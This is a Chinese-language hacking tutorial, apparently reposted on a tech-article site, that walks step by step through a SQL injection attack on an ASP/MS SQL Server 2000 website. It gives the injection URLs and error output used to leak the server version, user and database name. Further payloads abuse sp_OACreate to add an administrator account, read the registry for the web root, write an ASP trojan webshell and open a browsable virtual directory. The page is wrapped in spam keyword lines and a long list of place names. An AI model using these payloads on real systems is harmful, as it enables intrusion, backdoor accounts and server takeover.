久久r热视频,国产午夜精品一区二区三区视频,亚洲精品自拍偷拍,欧美日韩精品二区

您的位置:首頁技術(shù)文章
文章詳情頁

榨干MS SQL Server 最后一滴血

瀏覽:163日期:2023-10-29 12:37:53

風(fēng)云變換的網(wǎng)絡(luò),網(wǎng)絡(luò)安全讓人們不能不關(guān)注它。數(shù)據(jù)庫,讓我們不得不想起強大的ORACLE,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。

以下(使用一知名網(wǎng)站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這里就不多說這方面了。

MS SQL內(nèi)置函數(shù)介紹:

@@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當(dāng)前系統(tǒng)的連接用戶 Db_name() 得到當(dāng)前連接的數(shù)據(jù)庫 HOST_NAME() 得到當(dāng)前主機的名稱

這些信息有助我們對系統(tǒng)進行簡單的了解

好,下面我們就開始吧!

語句:

http://www.xxx.com/list.asp?classid=1'

返回信息:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.asp,行290;

從這里未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發(fā)現(xiàn)在漏洞當(dāng)然接著走了,利用以上介紹的函數(shù)為我們工作了:

語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /list.asp,行290;

相關(guān)的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL SERVER 后面的8.00.760可看出是SP3補丁。看了服務(wù)器的信息,接下應(yīng)該了解數(shù)據(jù)庫的權(quán)限了:

語句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

返回: 正常返回的信息

確定是權(quán)限是DBO,從表面DBO權(quán)限的連接用戶經(jīng)常是涉及SYSADMIN服務(wù)器角色成員。說明數(shù)據(jù)庫服務(wù)器角色成員組默認是在每個數(shù)據(jù)庫增加一個DBO用戶。

返回原理根1=1,1=2相似..這里只是權(quán)限測試,我們也把它爆出來看看:

語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /list.asp,行290;

說明連接數(shù)據(jù)庫的用戶權(quán)限很高,可以確定是服務(wù)器角色組中的成員。

語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /list.asp,行290

這樣就可以爆出當(dāng)前的數(shù)據(jù)庫。得到這么高權(quán)限的數(shù)據(jù)庫連接成員,我們當(dāng)然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取決于當(dāng)前服務(wù)器的配置,如果配置不合理的服務(wù)器,我們要直接拿NT ADMIN,拿NT ADMIN就要用到:

MSSQL內(nèi)置存儲過程:

sp_OACreate (通過它,危害很得更大,但是需要有SYSADMINS權(quán)限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

由于MS SQL一次可以執(zhí)行多語句,使得我們有機會使用更多的語句。

語句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user cntest chinatest /add'

正常返回。(提示:如果主機上shell存在的話那將在服務(wù)器上創(chuàng)建一個cntest的用戶)

創(chuàng)建用戶了,語句后再加個net localgroup administrators cntest /add加到管理組中。 如果對方的機子開著3389端口,或IPC的話,那接下來的事,就不用我多說了。

遇到專業(yè)型主機,只開一個80端口,那應(yīng)該怎么辦呢?當(dāng)然,我們還是可能拿到WEBSHELL,再慢慢滲透的。

由于權(quán)限高,我們可能先建表,寫入ASP木馬的數(shù)據(jù)再通過MAKEWEBTASK,得到WEBSEHLL.手工寫入的程序太過于繁鎖,上傳WEBSHELL最大的問題還是網(wǎng)頁目錄,現(xiàn)在網(wǎng)上已經(jīng)有現(xiàn)成的工具通過BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推薦,獲取網(wǎng)頁路徑(通過存儲過程達到對注冊表的讀取):

利用內(nèi)置存儲過程 xp_regread(讀取注冊表鍵值,權(quán)限public):

語句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test);

IIS的默認路徑的在注冊表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots

利用爆字段將數(shù)據(jù)庫的值讀出來:

語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)

返回:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 'E:www,,201' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。;

這說明網(wǎng)頁目錄在E:www,接下來也可以利用FSO直接寫入ASP木馬(提示必須擁用SYSADMIN權(quán)限才可使用FSO和FSO開入的前提下) :

語句:

http://www.xxx.com/list.asp?class=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:wwwtest.asp',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'

在E:WWW下創(chuàng)建一個test.asp并寫入On Error Resume next語句:

http://www.xxx.com/list.asp?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e:wwwtest.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '

在E:WWWtest.asp增加一行記錄,記錄為asp horse, 整個完整木馬可能這樣寫入。(%百分號要用%25替代寫入)。如果得不到網(wǎng)頁目錄,怎么辦呢?前提你要猜到網(wǎng)站是否使用默認WEB,或者使用域名作為WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootmkwebdir.vbs -w '默認 Web 站點' -v 'e','e:'’;

在默認的WEB站點下創(chuàng)建一個虛擬目錄E,指向E:盤下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse’

給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務(wù)。想那些網(wǎng)頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳WEBSHELL利用MS SQL為我們的工作告了一段落了,接下來工作應(yīng)該由你來了。

標(biāo)簽: Sql Server 數(shù)據(jù)庫
主站蜘蛛池模板: 道孚县| 白朗县| 安平县| 龙游县| 科尔| 郎溪县| 盐亭县| 昌吉市| 阜城县| 托里县| 子洲县| 常宁市| 肥城市| 浦城县| 合水县| 亚东县| 高台县| 留坝县| 京山县| 东丽区| 宜州市| 榆社县| 张家港市| 天镇县| 会同县| 班玛县| 秀山| 新郑市| 濮阳市| 成武县| 铜陵市| 中江县| 灵宝市| 嵊州市| 交口县| 仁怀市| 永顺县| 准格尔旗| 合水县| 江陵县| 诸暨市|